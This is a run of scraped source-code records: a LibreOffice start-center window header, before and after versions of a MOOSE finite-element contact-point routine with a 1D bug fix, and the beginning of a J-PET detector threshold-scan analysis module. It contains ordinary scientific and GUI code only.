\"com\/sun\/star\/frame\/XDispatchProvider.hpp\"\n#include \"com\/sun\/star\/frame\/XDesktop.hpp\"\n#include \"com\/sun\/star\/frame\/XFrame.hpp\"\n#include \"com\/sun\/star\/frame\/XTerminateListener.hpp\"\n#include \"com\/sun\/star\/document\/XEventListener.hpp\"\n#include \"com\/sun\/star\/document\/XEventBroadcaster.hpp\"\n#include \"com\/sun\/star\/util\/XURLTransformer.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/XFilePicker.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/XFilePickerControlAccess.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/XFilterManager.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/XFolderPicker.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/TemplateDescription.hpp\"\n#include \"com\/sun\/star\/ui\/dialogs\/ExecutableDialogResults.hpp\"\n\n#include <set>\n\nclass MnemonicGenerator;\n\nnamespace framework\n{\n \/\/ To get the transparent mouse-over look, the closer is actually a toolbox\n \/\/ overload DataChange to handle style changes correctly\n class DecoToolBox : public ToolBox\n {\n Size maMinSize;\n\n using Window::ImplInit;\n public:\n DecoToolBox( Window* pParent, WinBits nStyle = 0 );\n DecoToolBox( Window* pParent, const ResId& rResId );\n\n void DataChanged( const DataChangedEvent& rDCEvt );\n\n void calcMinSize();\n Size getMinSize();\n };\n\n class BackingWindow : public Window\n {\n com::sun::star::uno::Reference<com::sun::star::frame::XDesktop> mxDesktop;\n com::sun::star::uno::Reference<com::sun::star::frame::XDispatchProvider > mxDesktopDispatchProvider;\n com::sun::star::uno::Reference<com::sun::star::frame::XFrame> mxFrame;\n com::sun::star::uno::Reference<com::sun::star::document::XEventBroadcaster> mxBroadcaster;\n\n FixedText maWelcome;\n Size maWelcomeSize;\n FixedText maProduct;\n Size maProductSize;\n FixedText maCreateText;\n Size maCreateSize;\n FixedText maWriterText;\n ImageButton maWriterButton;\n FixedText maCalcText;\n ImageButton maCalcButton;\n FixedText maImpressText;\n ImageButton maImpressButton;\n FixedText maDrawText;\n ImageButton maDrawButton;\n FixedText maDBText;\n ImageButton maDBButton;\n FixedText maTemplateText;\n ImageButton maTemplateButton;\n FixedText maOpenText;\n ImageButton maOpenButton;\n\n DecoToolBox maToolbox;\n\n BitmapEx maBackgroundLeft;\n BitmapEx maBackgroundMiddle;\n BitmapEx maBackgroundRight;\n\n String maWelcomeString;\n String maProductString;\n String maCreateString;\n String maOpenString;\n String maTemplateString;\n\n Font maTextFont;\n Rectangle maControlRect;\n\n long mnColumnWidth[2];\n Color maLabelTextColor;\n Color maWelcomeTextColor;\n\n Size maButtonImageSize;\n\n bool mbInitControls;\n svt::AcceleratorExecute* mpAccExec;\n\n\n static const long nBtnPos = 240;\n static const int nItemId_Extensions = 1;\n static const int nItemId_Reg = 2;\n static const int nItemId_Info = 3;\n static const int nShadowTop = 32;\n static const int nShadowLeft = 35;\n static const int nShadowRight = 45;\n static const int nShadowBottom = 50;\n\n void loadImage( const ResId& i_rId, ImageButton& i_rButton );\n\n void layoutButtonAndText( const char* i_pURL, int nColumn, const std::set<rtl::OUString>& i_rURLS,\n SvtModuleOptions& i_rOpt, SvtModuleOptions::EModule i_eMod,\n ImageButton& i_rBtn, FixedText& i_rText,\n MnemonicGenerator& i_rMnemonicGen,\n const String& i_rStr = String()\n );\n\n void dispatchURL( const rtl::OUString& i_rURL,\n const rtl::OUString& i_rTarget = rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"_default\" ) ),\n const com::sun::star::uno::Reference< com::sun::star::frame::XDispatchProvider >& i_xProv = com::sun::star::uno::Reference< com::sun::star::frame::XDispatchProvider >(),\n const com::sun::star::uno::Sequence< com::sun::star::beans::PropertyValue >& = com::sun::star::uno::Sequence< com::sun::star::beans::PropertyValue >()\n );\n\n DECL_LINK( ClickHdl, Button* );\n DECL_LINK( ToolboxHdl, void* );\n\n void initControls();\n public:\n BackingWindow( Window* pParent );\n ~BackingWindow();\n\n virtual void Paint( const Rectangle& rRect );\n virtual void Resize();\n virtual long Notify( NotifyEvent& rNEvt );\n\n void setOwningFrame( const com::sun::star::uno::Reference< com::sun::star::frame::XFrame >& xFrame );\n };\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************\/\n\/* DO NOT MODIFY THIS HEADER *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment *\/\n\/* *\/\n\/* (c) 2010 Battelle Energy Alliance, LLC *\/\n\/* ALL RIGHTS RESERVED *\/\n\/* *\/\n\/* Prepared by Battelle Energy Alliance, LLC *\/\n\/* Under Contract No. DE-AC07-05ID14517 *\/\n\/* With the U. S. Department of Energy *\/\n\/* *\/\n\/* See COPYRIGHT for full restrictions *\/\n\/****************************************************************\/\n\n\/\/ Moose\n#include \"FindContactPoint.h\"\n#include \"LineSegment.h\"\n\n\/\/ libMesh\n#include \"libmesh\/boundary_info.h\"\n#include \"libmesh\/elem.h\"\n#include \"libmesh\/plane.h\"\n#include \"libmesh\/fe_interface.h\"\n#include \"libmesh\/dense_matrix.h\"\n#include \"libmesh\/dense_vector.h\"\n#include \"libmesh\/fe_base.h\"\n\nnamespace Moose\n{\n\n\/**\n * Finds the closest point (called the contact point) on the master_elem on side \"side\" to the slave_point.\n *\n * @param master_elem The element on the master side of the interface\n * @param side The side number of the side of the master element\n * @param slave_point The physical space coordinates of the slave node\n * @param contact_ref The reference coordinate position of the contact point\n * @param contact_phys The physical space coordinates of the contact point\n * @param distance The distance between the slave_point and the contact point\n * @param normal The unit normal at the contact_point\n * @param contact_point_on_side whether or not the contact_point actually lies on _that_ side of the element.\n *\/\nvoid\nfindContactPoint(PenetrationLocator::PenetrationInfo & p_info,\n FEBase * _fe, FEType & _fe_type, const Point & slave_point,\n bool start_with_centroid, const Real tangential_tolerance,\n bool & contact_point_on_side)\n{\n const Elem * master_elem = p_info._elem;\n\n unsigned int dim = master_elem->dim();\n\n const Elem * side = p_info._side;\n\n const std::vector<Point> & phys_point = _fe->get_xyz();\n\n const std::vector<RealGradient> & dxyz_dxi = _fe->get_dxyzdxi();\n const std::vector<RealGradient> & d2xyz_dxi2 = _fe->get_d2xyzdxi2();\n const std::vector<RealGradient> & d2xyz_dxieta = _fe->get_d2xyzdxideta();\n\n const std::vector<RealGradient> & dxyz_deta = _fe->get_dxyzdeta();\n const std::vector<RealGradient> & d2xyz_deta2 = _fe->get_d2xyzdeta2();\n const std::vector<RealGradient> & d2xyz_detaxi = _fe->get_d2xyzdxideta();\n\n if (dim == 1)\n {\n unsigned left(0);\n unsigned right(left);\n Real leftCoor((*master_elem->get_node(0))(0));\n Real rightCoor(left);\n for (unsigned i(1); i < master_elem->n_nodes(); ++i)\n {\n Real coor = (*master_elem->get_node(i))(0);\n if (coor < leftCoor)\n {\n left = i;\n leftCoor = coor;\n }\n if (coor > rightCoor)\n {\n right = i;\n rightCoor = coor;\n }\n }\n unsigned nearestNode(left);\n Point nearestPoint(leftCoor, 0, 0);\n if (side->node(0) == right)\n {\n nearestNode = right;\n nearestPoint(0) = rightCoor;\n }\n p_info._closest_point_ref = FEInterface::inverse_map(dim, _fe_type, master_elem, nearestPoint, TOLERANCE, false);\n p_info._closest_point = nearestPoint;\n p_info._normal = Point(left == nearestNode ? -1 : 1, 0, 0);\n p_info._distance = (p_info._closest_point - slave_point) * p_info._normal;\n p_info._dxyzdxi = dxyz_dxi;\n p_info._dxyzdeta = dxyz_deta;\n p_info._d2xyzdxideta = d2xyz_dxieta;\n p_info._side_phi = _fe->get_phi();\n contact_point_on_side = true;\n return;\n }\n\n Point ref_point;\n\n if(start_with_centroid)\n ref_point = FEInterface::inverse_map(dim-1, _fe_type, side, side->centroid(), TOLERANCE, false);\n else\n ref_point = p_info._closest_point_ref;\n\n std::vector<Point> points(1);\n points[0] = ref_point;\n _fe->reinit(side, &points);\n RealGradient d = slave_point - phys_point[0];\n\n Real update_size = 9999999;\n\n \/\/Least squares\n for(unsigned int it=0; it<3 && update_size > TOLERANCE*1e3; ++it)\n {\n\n DenseMatrix<Real> jac(dim-1, dim-1);\n\n jac(0,0) = -(dxyz_dxi[0] * dxyz_dxi[0]);\n\n if(dim-1 == 2)\n {\n jac(1,0) = -(dxyz_dxi[0] * dxyz_deta[0]);\n\n jac(0,1) = -(dxyz_deta[0] * dxyz_dxi[0]);\n jac(1,1) = -(dxyz_deta[0] * dxyz_deta[0]);\n }\n\n DenseVector<Real> rhs(dim-1);\n\n rhs(0) = dxyz_dxi[0]*d;\n\n if(dim-1 == 2)\n rhs(1) = dxyz_deta[0]*d;\n\n DenseVector<Real> update(dim-1);\n\n jac.lu_solve(rhs, update);\n\n ref_point(0) -= update(0);\n\n if(dim-1 == 2)\n ref_point(1) -= update(1);\n\n points[0] = ref_point;\n _fe->reinit(side, &points);\n d = slave_point - phys_point[0];\n\n update_size = update.l2_norm();\n }\n\n update_size = 9999999;\n\n unsigned nit=0;\n\n \/\/ Newton Loop\n for(; nit<12 && update_size > TOLERANCE*TOLERANCE; nit++)\n {\n d = slave_point - phys_point[0];\n\n DenseMatrix<Real> jac(dim-1, dim-1);\n\n jac(0,0) = (d2xyz_dxi2[0]*d)-(dxyz_dxi[0] * dxyz_dxi[0]);\n\n if(dim-1 == 2)\n {\n jac(1,0) = (d2xyz_dxieta[0]*d)-(dxyz_dxi[0] * dxyz_deta[0]);\n\n jac(0,1) = (d2xyz_detaxi[0]*d)-(dxyz_deta[0] * dxyz_dxi[0]);\n jac(1,1) = (d2xyz_deta2[0]*d)-(dxyz_deta[0] * dxyz_deta[0]);\n }\n\n DenseVector<Real> rhs(dim-1);\n\n rhs(0) = -dxyz_dxi[0]*d;\n\n if(dim-1 == 2)\n rhs(1) = -dxyz_deta[0]*d;\n\n DenseVector<Real> update(dim-1);\n\n jac.lu_solve(rhs, update);\n\n ref_point(0) += update(0);\n\n if(dim-1 == 2)\n ref_point(1) += update(1);\n\n points[0] = ref_point;\n _fe->reinit(side, &points);\n d = slave_point - phys_point[0];\n\n update_size = update.l2_norm();\n }\n\n\/*\n if(nit == 12 && update_size > TOLERANCE*TOLERANCE)\n std::cerr<<\"Warning! Newton solve for contact point failed to converge!\"<<std::endl;\n*\/\n\n p_info._closest_point_ref = ref_point;\n p_info._closest_point = phys_point[0];\n p_info._distance = d.size();\n\n if(dim-1 == 2)\n {\n p_info._normal = dxyz_dxi[0].cross(dxyz_deta[0]);\n p_info._normal \/= p_info._normal.size();\n }\n else\n {\n p_info._normal = RealGradient(dxyz_dxi[0](1),-dxyz_dxi[0](0));\n p_info._normal \/= p_info._normal.size();\n }\n\n \/\/ If the point has not penetrated the face, make the distance negative\n const Real dot(d * p_info._normal);\n if (dot > 0.0)\n p_info._distance = -p_info._distance;\n\n contact_point_on_side = FEInterface::on_reference_element(ref_point, side->type());\n\n p_info._tangential_distance = 0.0;\n\n if (!contact_point_on_side)\n {\n p_info._closest_point_on_face_ref=ref_point;\n restrictPointToFace(p_info._closest_point_on_face_ref,side,p_info._off_edge_nodes);\n\n points[0] = p_info._closest_point_on_face_ref;\n _fe->reinit(side, &points);\n Point closest_point_on_face(phys_point[0]);\n\n RealGradient off_face = closest_point_on_face - p_info._closest_point;\n Real tangential_distance = off_face.size();\n p_info._tangential_distance = tangential_distance;\n if (tangential_distance <= tangential_tolerance)\n {\n contact_point_on_side = true;\n }\n }\n\n const std::vector<std::vector<Real> > & phi = _fe->get_phi();\n\n points[0] = p_info._closest_point_ref;\n _fe->reinit(side, &points);\n\n p_info._side_phi = phi;\n p_info._dxyzdxi = dxyz_dxi;\n p_info._dxyzdeta = dxyz_deta;\n p_info._d2xyzdxideta = d2xyz_dxieta;\n\n}\n\nvoid restrictPointToFace(Point& p,\n const Elem* side,\n std::vector<Node*> &off_edge_nodes)\n{\n const ElemType t(side->type());\n off_edge_nodes.clear();\n Real &xi = p(0);\n Real &eta = p(1);\n\n switch (t)\n {\n case EDGE2:\n case EDGE3:\n case EDGE4:\n {\n \/\/ The reference 1D element is [-1,1].\n if (xi < -1.0)\n {\n xi = -1.0;\n off_edge_nodes.push_back(side->get_node(0));\n }\n else if (xi > 1.0)\n {\n xi = 1.0;\n off_edge_nodes.push_back(side->get_node(1));\n }\n break;\n }\n\n case TRI3:\n case TRI6:\n {\n \/\/ The reference triangle is isosceles\n \/\/ and is bound by xi=0, eta=0, and xi+eta=1.\n\n if (xi <= 0.0 && eta <= 0.0)\n {\n xi = 0.0;\n eta = 0.0;\n off_edge_nodes.push_back(side->get_node(0));\n }\n else if (xi > 0.0 && xi < 1.0\n && eta < 0.0)\n {\n eta = 0.0;\n off_edge_nodes.push_back(side->get_node(0));\n off_edge_nodes.push_back(side->get_node(1));\n }\n else if (eta > 0.0 && eta < 1.0\n && xi < 0.0)\n {\n xi = 0.0;\n off_edge_nodes.push_back(side->get_node(2));\n off_edge_nodes.push_back(side->get_node(0));\n }\n else if (xi >= 1.0\n && (eta - xi) <= -1.0)\n {\n xi = 1.0;\n eta = 0.0;\n off_edge_nodes.push_back(side->get_node(1));\n }\n else if (eta >= 1.0\n && (eta - xi) >= 1.0)\n {\n xi = 0.0;\n eta = 1.0;\n off_edge_nodes.push_back(side->get_node(2));\n }\n else if ((xi + eta) > 1.0)\n {\n Real delta = (xi+eta-1.0)\/2.0;\n xi -= delta;\n eta -= delta;\n off_edge_nodes.push_back(side->get_node(1));\n off_edge_nodes.push_back(side->get_node(2));\n }\n break;\n }\n\n case QUAD4:\n case QUAD8:\n case QUAD9:\n {\n \/\/ The reference quadrilateral element is [-1,1]^2.\n if (xi < -1.0)\n {\n xi = -1.0;\n if (eta < -1.0)\n {\n eta = -1.0;\n off_edge_nodes.push_back(side->get_node(0));\n }\n else if (eta > 1.0)\n {\n eta = 1.0;\n off_edge_nodes.push_back(side->get_node(3));\n }\n else\n {\n off_edge_nodes.push_back(side->get_node(3));\n off_edge_nodes.push_back(side->get_node(0));\n }\n }\n else if (xi > 1.0)\n {\n xi = 1.0;\n if (eta < -1.0)\n {\n eta = -1.0;\n off_edge_nodes.push_back(side->get_node(1));\n }\n else if (eta > 1.0)\n {\n eta = 1.0;\n off_edge_nodes.push_back(side->get_node(2));\n }\n else\n {\n off_edge_nodes.push_back(side->get_node(1));\n off_edge_nodes.push_back(side->get_node(2));\n }\n }\n else\n {\n if (eta < -1.0)\n {\n eta = -1.0;\n off_edge_nodes.push_back(side->get_node(0));\n off_edge_nodes.push_back(side->get_node(1));\n }\n else if (eta > 1.0)\n {\n eta = 1.0;\n off_edge_nodes.push_back(side->get_node(2));\n off_edge_nodes.push_back(side->get_node(3));\n }\n }\n break;\n }\n\n default:\n {\n mooseError(\"Unsupported face type: \"<<t);\n break;\n }\n }\n}\n\n\n} \/\/namespace Moose\n\n<commit_msg>Fix bug in 1D<commit_after>\/****************************************************************\/\n\/* DO NOT MODIFY THIS HEADER *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment *\/\n\/* *\/\n\/* (c) 2010 Battelle Energy Alliance, LLC *\/\n\/* ALL RIGHTS RESERVED *\/\n\/* *\/\n\/* Prepared by Battelle Energy Alliance, LLC *\/\n\/* Under Contract No. DE-AC07-05ID14517 *\/\n\/* With the U. S. Department of Energy *\/\n\/* *\/\n\/* See COPYRIGHT for full restrictions *\/\n\/****************************************************************\/\n\n\/\/ Moose\n#include \"FindContactPoint.h\"\n#include \"LineSegment.h\"\n\n\/\/ libMesh\n#include \"libmesh\/boundary_info.h\"\n#include \"libmesh\/elem.h\"\n#include \"libmesh\/plane.h\"\n#include \"libmesh\/fe_interface.h\"\n#include \"libmesh\/dense_matrix.h\"\n#include \"libmesh\/dense_vector.h\"\n#include \"libmesh\/fe_base.h\"\n\nnamespace Moose\n{\n\n\/**\n * Finds the closest point (called the contact point) on the master_elem on side \"side\" to the slave_point.\n *\n * @param master_elem The element on the master side of the interface\n * @param side The side number of the side of the master element\n * @param slave_point The physical space coordinates of the slave node\n * @param contact_ref The reference coordinate position of the contact point\n * @param contact_phys The physical space coordinates of the contact point\n * @param distance The distance between the slave_point and the contact point\n * @param normal The unit normal at the contact_point\n * @param contact_point_on_side whether or not the contact_point actually lies on _that_ side of the element.\n *\/\nvoid\nfindContactPoint(PenetrationLocator::PenetrationInfo & p_info,\n FEBase * _fe, FEType & _fe_type, const Point & slave_point,\n bool start_with_centroid, const Real tangential_tolerance,\n bool & contact_point_on_side)\n{\n const Elem * master_elem = p_info._elem;\n\n unsigned int dim = master_elem->dim();\n\n const Elem * side = p_info._side;\n\n const std::vector<Point> & phys_point = _fe->get_xyz();\n\n const std::vector<RealGradient> & dxyz_dxi = _fe->get_dxyzdxi();\n const std::vector<RealGradient> & d2xyz_dxi2 = _fe->get_d2xyzdxi2();\n const std::vector<RealGradient> & d2xyz_dxieta = _fe->get_d2xyzdxideta();\n\n const std::vector<RealGradient> & dxyz_deta = _fe->get_dxyzdeta();\n const std::vector<RealGradient> & d2xyz_deta2 = _fe->get_d2xyzdeta2();\n const std::vector<RealGradient> & d2xyz_detaxi = _fe->get_d2xyzdxideta();\n\n if (dim == 1)\n {\n Node * left(master_elem->get_node(0));\n Node * right(left);\n Real leftCoor((*left)(0));\n Real rightCoor(leftCoor);\n for (unsigned i(1); i < master_elem->n_nodes(); ++i)\n {\n Node * curr = master_elem->get_node(i);\n Real coor = (*curr)(0);\n if (coor < leftCoor)\n {\n left = curr;\n leftCoor = coor;\n }\n if (coor > rightCoor)\n {\n right = curr;\n rightCoor = coor;\n }\n }\n Node * nearestNode(left);\n Point nearestPoint(leftCoor, 0, 0);\n if (side->node(0) == right->id())\n {\n nearestNode = right;\n nearestPoint(0) = rightCoor;\n }\n else if (side->node(0) != left->id())\n {\n mooseError(\"Error findContactPoint. Logic error in 1D\");\n }\n p_info._closest_point_ref = FEInterface::inverse_map(dim, _fe_type, master_elem, nearestPoint, TOLERANCE, false);\n p_info._closest_point = nearestPoint;\n p_info._normal = Point(left == nearestNode ? -1 : 1, 0, 0);\n p_info._distance = (p_info._closest_point - slave_point) * p_info._normal;\n p_info._dxyzdxi = dxyz_dxi;\n p_info._dxyzdeta = dxyz_deta;\n p_info._d2xyzdxideta = d2xyz_dxieta;\n p_info._side_phi = _fe->get_phi();\n contact_point_on_side = true;\n return;\n }\n\n Point ref_point;\n\n if(start_with_centroid)\n ref_point = FEInterface::inverse_map(dim-1, _fe_type, side, side->centroid(), TOLERANCE, false);\n else\n ref_point = p_info._closest_point_ref;\n\n std::vector<Point> points(1);\n points[0] = ref_point;\n _fe->reinit(side, &points);\n RealGradient d = slave_point - phys_point[0];\n\n Real update_size = 9999999;\n\n \/\/Least squares\n for(unsigned int it=0; it<3 && update_size > TOLERANCE*1e3; ++it)\n {\n\n DenseMatrix<Real> jac(dim-1, dim-1);\n\n jac(0,0) = -(dxyz_dxi[0] * dxyz_dxi[0]);\n\n if(dim-1 == 2)\n {\n jac(1,0) = -(dxyz_dxi[0] * dxyz_deta[0]);\n\n jac(0,1) = -(dxyz_deta[0] * dxyz_dxi[0]);\n jac(1,1) = -(dxyz_deta[0] * dxyz_deta[0]);\n }\n\n DenseVector<Real> rhs(dim-1);\n\n rhs(0) = dxyz_dxi[0]*d;\n\n if(dim-1 == 2)\n rhs(1) = dxyz_deta[0]*d;\n\n DenseVector<Real> update(dim-1);\n\n jac.lu_solve(rhs, update);\n\n ref_point(0) -= update(0);\n\n if(dim-1 == 2)\n ref_point(1) -= update(1);\n\n points[0] = ref_point;\n _fe->reinit(side, &points);\n d = slave_point - phys_point[0];\n\n update_size = update.l2_norm();\n }\n\n update_size = 9999999;\n\n unsigned nit=0;\n\n \/\/ Newton Loop\n for(; nit<12 && update_size > TOLERANCE*TOLERANCE; nit++)\n {\n d = slave_point - phys_point[0];\n\n DenseMatrix<Real> jac(dim-1, dim-1);\n\n jac(0,0) = (d2xyz_dxi2[0]*d)-(dxyz_dxi[0] * dxyz_dxi[0]);\n\n if(dim-1 == 2)\n {\n jac(1,0) = (d2xyz_dxieta[0]*d)-(dxyz_dxi[0] * dxyz_deta[0]);\n\n jac(0,1) = (d2xyz_detaxi[0]*d)-(dxyz_deta[0] * dxyz_dxi[0]);\n jac(1,1) = (d2xyz_deta2[0]*d)-(dxyz_deta[0] * dxyz_deta[0]);\n }\n\n DenseVector<Real> rhs(dim-1);\n\n rhs(0) = -dxyz_dxi[0]*d;\n\n if(dim-1 == 2)\n rhs(1) = -dxyz_deta[0]*d;\n\n DenseVector<Real> update(dim-1);\n\n jac.lu_solve(rhs, update);\n\n ref_point(0) += update(0);\n\n if(dim-1 == 2)\n ref_point(1) += update(1);\n\n points[0] = ref_point;\n _fe->reinit(side, &points);\n d = slave_point - phys_point[0];\n\n update_size = update.l2_norm();\n }\n\n\/*\n if(nit == 12 && update_size > TOLERANCE*TOLERANCE)\n std::cerr<<\"Warning! Newton solve for contact point failed to converge!\"<<std::endl;\n*\/\n\n p_info._closest_point_ref = ref_point;\n p_info._closest_point = phys_point[0];\n p_info._distance = d.size();\n\n if(dim-1 == 2)\n {\n p_info._normal = dxyz_dxi[0].cross(dxyz_deta[0]);\n p_info._normal \/= p_info._normal.size();\n }\n else\n {\n p_info._normal = RealGradient(dxyz_dxi[0](1),-dxyz_dxi[0](0));\n p_info._normal \/= p_info._normal.size();\n }\n\n \/\/ If the point has not penetrated the face, make the distance negative\n const Real dot(d * p_info._normal);\n if (dot > 0.0)\n p_info._distance = -p_info._distance;\n\n contact_point_on_side = FEInterface::on_reference_element(ref_point, side->type());\n\n p_info._tangential_distance = 0.0;\n\n if (!contact_point_on_side)\n {\n p_info._closest_point_on_face_ref=ref_point;\n restrictPointToFace(p_info._closest_point_on_face_ref,side,p_info._off_edge_nodes);\n\n points[0] = p_info._closest_point_on_face_ref;\n _fe->reinit(side, &points);\n Point closest_point_on_face(phys_point[0]);\n\n RealGradient off_face = closest_point_on_face - p_info._closest_point;\n Real tangential_distance = off_face.size();\n p_info._tangential_distance = tangential_distance;\n if (tangential_distance <= tangential_tolerance)\n {\n contact_point_on_side = true;\n }\n }\n\n const std::vector<std::vector<Real> > & phi = _fe->get_phi();\n\n points[0] = p_info._closest_point_ref;\n _fe->reinit(side, &points);\n\n p_info._side_phi = phi;\n p_info._dxyzdxi = dxyz_dxi;\n p_info._dxyzdeta = dxyz_deta;\n p_info._d2xyzdxideta = d2xyz_dxieta;\n\n}\n\nvoid restrictPointToFace(Point& p,\n const Elem* side,\n std::vector<Node*> &off_edge_nodes)\n{\n const ElemType t(side->type());\n off_edge_nodes.clear();\n Real &xi = p(0);\n Real &eta = p(1);\n\n switch (t)\n {\n case EDGE2:\n case EDGE3:\n case EDGE4:\n {\n \/\/ The reference 1D element is [-1,1].\n if (xi < -1.0)\n {\n xi = -1.0;\n off_edge_nodes.push_back(side->get_node(0));\n }\n else if (xi > 1.0)\n {\n xi = 1.0;\n off_edge_nodes.push_back(side->get_node(1));\n }\n break;\n }\n\n case TRI3:\n case TRI6:\n {\n \/\/ The reference triangle is isosceles\n \/\/ and is bound by xi=0, eta=0, and xi+eta=1.\n\n if (xi <= 0.0 && eta <= 0.0)\n {\n xi = 0.0;\n eta = 0.0;\n off_edge_nodes.push_back(side->get_node(0));\n }\n else if (xi > 0.0 && xi < 1.0\n && eta < 0.0)\n {\n eta = 0.0;\n off_edge_nodes.push_back(side->get_node(0));\n off_edge_nodes.push_back(side->get_node(1));\n }\n else if (eta > 0.0 && eta < 1.0\n && xi < 0.0)\n {\n xi = 0.0;\n off_edge_nodes.push_back(side->get_node(2));\n off_edge_nodes.push_back(side->get_node(0));\n }\n else if (xi >= 1.0\n && (eta - xi) <= -1.0)\n {\n xi = 1.0;\n eta = 0.0;\n off_edge_nodes.push_back(side->get_node(1));\n }\n else if (eta >= 1.0\n && (eta - xi) >= 1.0)\n {\n xi = 0.0;\n eta = 1.0;\n off_edge_nodes.push_back(side->get_node(2));\n }\n else if ((xi + eta) > 1.0)\n {\n Real delta = (xi+eta-1.0)\/2.0;\n xi -= delta;\n eta -= delta;\n off_edge_nodes.push_back(side->get_node(1));\n off_edge_nodes.push_back(side->get_node(2));\n }\n break;\n }\n\n case QUAD4:\n case QUAD8:\n case QUAD9:\n {\n \/\/ The reference quadrilateral element is [-1,1]^2.\n if (xi < -1.0)\n {\n xi = -1.0;\n if (eta < -1.0)\n {\n eta = -1.0;\n off_edge_nodes.push_back(side->get_node(0));\n }\n else if (eta > 1.0)\n {\n eta = 1.0;\n off_edge_nodes.push_back(side->get_node(3));\n }\n else\n {\n off_edge_nodes.push_back(side->get_node(3));\n off_edge_nodes.push_back(side->get_node(0));\n }\n }\n else if (xi > 1.0)\n {\n xi = 1.0;\n if (eta < -1.0)\n {\n eta = -1.0;\n off_edge_nodes.push_back(side->get_node(1));\n }\n else if (eta > 1.0)\n {\n eta = 1.0;\n off_edge_nodes.push_back(side->get_node(2));\n }\n else\n {\n off_edge_nodes.push_back(side->get_node(1));\n off_edge_nodes.push_back(side->get_node(2));\n }\n }\n else\n {\n if (eta < -1.0)\n {\n eta = -1.0;\n off_edge_nodes.push_back(side->get_node(0));\n off_edge_nodes.push_back(side->get_node(1));\n }\n else if (eta > 1.0)\n {\n eta = 1.0;\n off_edge_nodes.push_back(side->get_node(2));\n off_edge_nodes.push_back(side->get_node(3));\n }\n }\n break;\n }\n\n default:\n {\n mooseError(\"Unsupported face type: \"<<t);\n break;\n }\n }\n}\n\n\n} \/\/namespace Moose\n\n<|endoftext|>"} {"text":"<commit_before><commit_msg>error: 'pGen' was not declared in this scope<commit_after><|endoftext|>"} {"text":"<commit_before>#include \".\/thresholdScan.h\"\n\nClassImp(thresholdScan);\n\n\/\/standard constructor from AnalysisModule\nthresholdScan::thresholdScan(const char* name, const char* title,\n const char* in_file_suffix, const char* out_file_suffix, const std::vector<double>& thresholds, const std::vector<double>& eCut)\n : JPetCommonAnalysisModule(name, title, in_file_suffix, out_file_suffix)\n{\n setVersion(MODULE_VERSION);\n fThresholds = thresholds;\n energyCuts = eCut;\n}\n\n\/\/no specific destructor needed\nthresholdScan::~thresholdScan()\n{\n}\n\nvoid thresholdScan::begin()\n{\n\tfor( unsigned int i = 0; i < fThresholds.size(); i++ ){\n\t\tstd::vector<double> k;\n\t\tfDeltaTimesForThresholdsTop.push_back( k );\n\t\tfDeltaTimesForThresholdsBottom.push_back( k );\n\t}\n}\n\nvoid thresholdScan::exec()\n{\n\n \/\/ Take next entry \n fReader->getEntry(fEvent);\n\n \/\/ Cast data from the entry into JPetLOR\n const JPetLOR& lor = (JPetLOR&) fReader->getData();\n\n \/\/ Extract signals\n const JPetRecoSignal& signalFirst = lor.getFirstHit().getSignalA().getRecoSignal();\n const JPetRecoSignal& signalSecond = lor.getFirstHit().getSignalB().getRecoSignal();\n const JPetRecoSignal& signalThird = lor.getSecondHit().getSignalA().getRecoSignal();\n const JPetRecoSignal& signalFourth = lor.getSecondHit().getSignalB().getRecoSignal();\n\n const JPetHit& hitFirst = lor.getFirstHit();\n const JPetHit& hitSecond = lor.getSecondHit();\n\tdouble energyT = hitFirst.getEnergy();\n\tdouble energyB = hitSecond.getEnergy();\n\n if(energyCuts.size() == 2)\n {\n\tif( energyT > energyCuts[0] && energyT < energyCuts[1] )\n\t{\n\t\tenergyTop.push_back(energyT);\n\t}\n\n\tif( energyB > energyCuts[0] && energyB < energyCuts[1] )\n\t{\n\t\tenergyBottom.push_back(energyB);\n\t}\n }\n else if(energyCuts.size() == 1)\n {\n if( energyT > energyCuts[0] )\n {\n energyTop.push_back(energyT);\n }\n\n if( energyB > energyCuts[0] )\n {\n energyBottom.push_back(energyB);\n }\n }\n\n \/\/ Save times from signals to file\n for( unsigned int i = 0; i < fThresholds.size(); i++)\n {\n if(energyCuts.size() == 2)\n {\n\tif( energyT > energyCuts[0] && energyT < energyCuts[1] )\n\t{\n\t\tfDeltaTimesForThresholdsTop[i].push_back( signalFirst.getRecoTimeAtThreshold( (double)fThresholds[i] ) - signalSecond.getRecoTimeAtThreshold( (double)fThresholds[i] ) ); \n\t}\n\t\n\tif(energyB > energyCuts[0] && energyB < energyCuts[1] )\t\n\t{\n\t\tfDeltaTimesForThresholdsBottom[i].push_back( signalThird.getRecoTimeAtThreshold( (double)fThresholds[i] ) - signalFourth.getRecoTimeAtThreshold( (double)fThresholds[i] ) ); \n\t}\n }\n else if(energyCuts.size() == 1)\n {\n if(energyT > energyCuts[0] ){\n fDeltaTimesForThresholdsTop[i].push_back( signalFirst.getRecoTimeAtThreshold( (double)fThresholds[i] ) - signalSecond.getRecoTimeAtThreshold( (double)fThresholds[i] ) ); \n\t}\n\n if(energyB > energyCuts[0] )\n\t{\n fDeltaTimesForThresholdsBottom[i].push_back( signalThird.getRecoTimeAtThreshold( (double)fThresholds[i] ) - signalFourth.getRecoTimeAtThreshold( (double)fThresholds[i] ) ); \n\t}\n }\n else{\n\tERROR( Form(\"Bad energy cuts vector provided\") );\n\t}\n }\n fEvent++;\n}\n\nvoid thresholdScan::end()\n{\n\n\tplotHistosAndGraphs( fDeltaTimesForThresholdsTop, \"_TOP_\");\n\tplotHistosAndGraphs( fDeltaTimesForThresholdsBottom, \"_BOTTOM_\");\n\tplotEnergyCuts(energyTop, \"_TOP_\");\n\tplotEnergyCuts(energyBottom, \"_BOTTOM_\");\n}\n\nvoid thresholdScan::plotEnergyCuts( std::vector<double>& data, std::string name)\n{\n TString filePath = fHeader->getBaseFileName();\n filePath = filePath(filePath.Last('\/')+1, filePath.Length()-1);\n filePath = filePath(0, filePath.Last('.'));\n\n std::stringstream buf;\n buf << fHeader->getSourcePosition();\n buf << \"_\";\n if( energyCuts.size() == 2 )\n buf << energyCuts[0] 